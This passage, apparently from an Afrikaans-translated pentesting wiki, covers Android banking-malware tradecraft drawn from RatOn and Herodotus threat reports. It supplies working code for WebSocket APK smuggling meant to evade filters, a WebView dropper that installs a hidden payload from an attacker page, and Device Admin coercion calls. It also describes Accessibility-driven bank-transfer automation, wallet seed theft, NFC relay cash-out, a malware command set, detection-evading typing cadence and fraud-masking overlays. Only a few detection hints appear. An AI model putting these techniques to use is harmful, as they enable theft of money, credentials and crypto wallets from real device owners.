// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Waarom dit eenvoudige kontroles omseil:
- Geen statiese APK URL word blootgestel; payload word in geheue heropgebou uit WebSocket frames.
- URL/MIME/extension filters wat direkte .apk-antwoorde blokkeer, kan binaire data wat via WebSockets/Socket.IO getunnel word, misloop.
- Crawlers en URL-sandboxes wat WebSockets nie uitvoer nie, sal die payload nie opvraag nie.

Sien ook WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn gevallestudie

Die RatOn banker/RAT campaign (ThreatFabric) is 'n konkrete voorbeeld van hoe moderne mobile phishing operations WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, en selfs NFC-relay orchestration kombineer. Hierdie afdeling abstraheer die herbruikbare tegnieke.

### Stage-1: WebView → native install bridge (dropper)
Aanvallers toon 'n WebView wat na 'n aanvaller-bladsy wys en injecteer 'n JavaScript-koppelvlak wat 'n native installer blootstel. 'n Tik op 'n HTML-knoppie roep native kode aan wat 'n tweede-stadium APK installeer wat in die dropper se assets gebundel is en dit dan direk lanceer.

Minimale patroon:

<details>
<summary>Stage-1 dropper minimale patroon (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

HTML op die bladsy:

<button onclick="bridge.installApk()">Install</button>

Na installasie begin die dropper die payload via explicit package/activity:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Opsporingsidee: onbetroubare apps wat addJavascriptInterface() aanroep en installer-agtige metodes aan WebView blootstel; APK wat ’n ingeslote sekondêre payload onder assets/ aflewer en die Package Installer Session API aanroep.

Toestemmingsproses: Accessibility + Device Admin + follow-on runtime prompts

Fase-2 open ’n WebView wat ’n “Access” bladsy aanbied. Sy knoppie roep ’n ge-exporteerde metode aan wat die slagoffer na die Accessibility-instellings navigeer en versoek om die kwaadwillige diens te aktiveer. Sodra dit toegestaan is, gebruik die malware Accessibility om outomaties deur die volgende runtime-magtigingsdialoë te klik (contacts, overlay, manage system settings, ens.) en versoek Device Admin.

• Accessibility help programmaties om later versoeke te aanvaar deur knoppies soos “Allow”/“OK” in die node-tree te vind en klikke te stuur.
• Overlay permission check/request:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Sien ook:

Accessibility Services Abuse

Overlay-phishing/losprys deur WebView

Operateurs kan opdragte uitreik om:

• ’n volskerm-overlay vanaf ’n URL te toon, of
• inline HTML deur te gee wat in ’n WebView-overlay gelaai word.

Waarskynlike gebruike: dwang (PIN-invoer), wallet-ouvrirng om PIN’s vas te vang, losprysboodskappe. Hou ’n opdrag om te verseker dat overlay-toestemming toegeken is indien dit ontbreek.

Afstandsbeheer-model – teks pseudo-skerm + skermuitsending

• Lae bandwydte: dump periodiek die Accessibility node-boom, serialiseer sigbare tekste/rolle/begrenzings en stuur na C2 as ’n pseudo-skerm (opdragte soos txt_screen eenmalig en screen_live deurlopend).
• Hoë getrouheid: versoek MediaProjection en begin skermuitsending/opname op aanvraag (opdragte soos display / record).

ATS playbook (bank-app-automatisering)

Gegewe ’n JSON-taak, open die bank-app, bestuur die UI via Accessibility met ’n mengsel van teksnavrae en koördinaat-tappe, en voer die slagoffer se betalings-PIN in wanneer gevra.

Voorbeeldtaak:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Voorbeeldtekste gesien in een teikenvloei (CZ → EN):

• “Nová platba” → “Nuwe betaling”
• “Zadat platbu” → “Voer betaling in”
• “Nový příjemce” → “Nuwe ontvanger”
• “Domácí číslo účtu” → “Nasionale rekeningnommer”
• “Další” → “Volgende”
• “Odeslat” → “Stuur”
• “Ano, pokračovat” → “Ja, gaan voort”
• “Zaplatit” → “Betaal”
• “Hotovo” → “Klaar”

Operateurs kan ook oordraglimiete nagaan/verhoog via opdragte soos check_limit en limit wat soortgelyk die limiete-UI navigeer.

Crypto wallet seed uittrekking

Teikens soos MetaMask, Trust Wallet, Blockchain.com, Phantom. Vloei: ontsluit (gesteelde PIN of voorsiene wagwoord), navigeer na Security/Recovery, openbaar/vertoon seed phrase, keylog/exfiltrate dit. Implementeer locale-aware selectors (EN/RU/CZ/SK) om die navigasie oor tale te stabiliseer.

Device Admin dwang

Device Admin APIs word gebruik om PIN-vastleggingsgeleenthede te verhoog en die slagoffer te frustreer:

• Onmiddellike sluit:

dpm.lockNow();

• Laat huidige inlogbewys verval om verandering af te dwing (Accessibility vang nuwe PIN/wagwoord):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• Dwing nie-biometriese ontsluiting af deur keyguard se biometriese funksies uit te skakel:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Let wel: Baie DevicePolicyManager-beheer vereis Device Owner/Profile Owner op onlangse Android; sommige OEM builds mag losser wees. Valideer altyd op teiken OS/OEM.

NFC relay orchestration (NFSkate)

Stage-3 kan ’n eksterne NFC-relay-module installeer en lanseer (bv. NFSkate) en selfs ’n HTML-sjabloon daaraan oorhandig om die slagoffer tydens die relay te lei. Dit maak kontaklose card-present cash-out langs aanlyn ATS moontlik.

Achtergrond: NFSkate NFC relay.

Operator opdragstel (voorbeeld)

• UI/toestand: txt_screen, screen_live, display, record
• Sosiaal: send_push, Facebook, WhatsApp
• Oorleggings: overlay (inline HTML), block (URL), block_off, access_tint
• Wallets: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Toestel: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Kommunikasie/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Toeganklikheidsgedrewe ATS anti-detectie: mens-agtige teks-kadens en dubbele teksinspuiting (Herodotus)

Dreigspelers meng toenemend Toeganklikheidsgedrewe outomatisering met anti-detectie afgestel teen basiese gedragsbiometrieë. ’n Onlangse banker/RAT vertoon twee komplementêre teks-afleweringsmodusse en ’n operator-skakelaar om menslike tikgedrag met gerandomiseerde kadens te simuleer.

• Ontdekkingsmodus: enumereer sigbare node met selectors en bounds om insette presies te teiken (ID, text, contentDescription, hint, bounds) voordat opgetree word.
• Dubbele teksinspuiting:
• Modus 1 – ACTION_SET_TEXT direk op die teiken-node (stabiel, geen sleutelbord);
• Modus 2 – clipboard set + ACTION_PASTE in die gefokusde node (werk wanneer direkte setText geblokkeer is).
• Mens-agtige kadens: verdeel die deur die operator verskafde string en lewer dit karakter-vir-karakter met gerandomiseerde 300–3000 ms vertragings tussen gebeure om “machine-speed typing” heuristieke te ontduik. Geïmplementeer óf deur die waarde progressief te vergroot via ACTION_SET_TEXT, óf deur een karakter op ’n slag te plak.

</details>

Blokkeeroverlays om bedrog te maskeer:
- Wys 'n volskerm-`TYPE_ACCESSIBILITY_OVERLAY` met operateur-beheerde deursigtigheid; hou dit ondeursigtig vir die slagoffer terwyl afgeleë automatisering daaronder voortgaan.
- Tipies blootgestelde opdragte: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Minimale overlay met verstelbare alpha:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);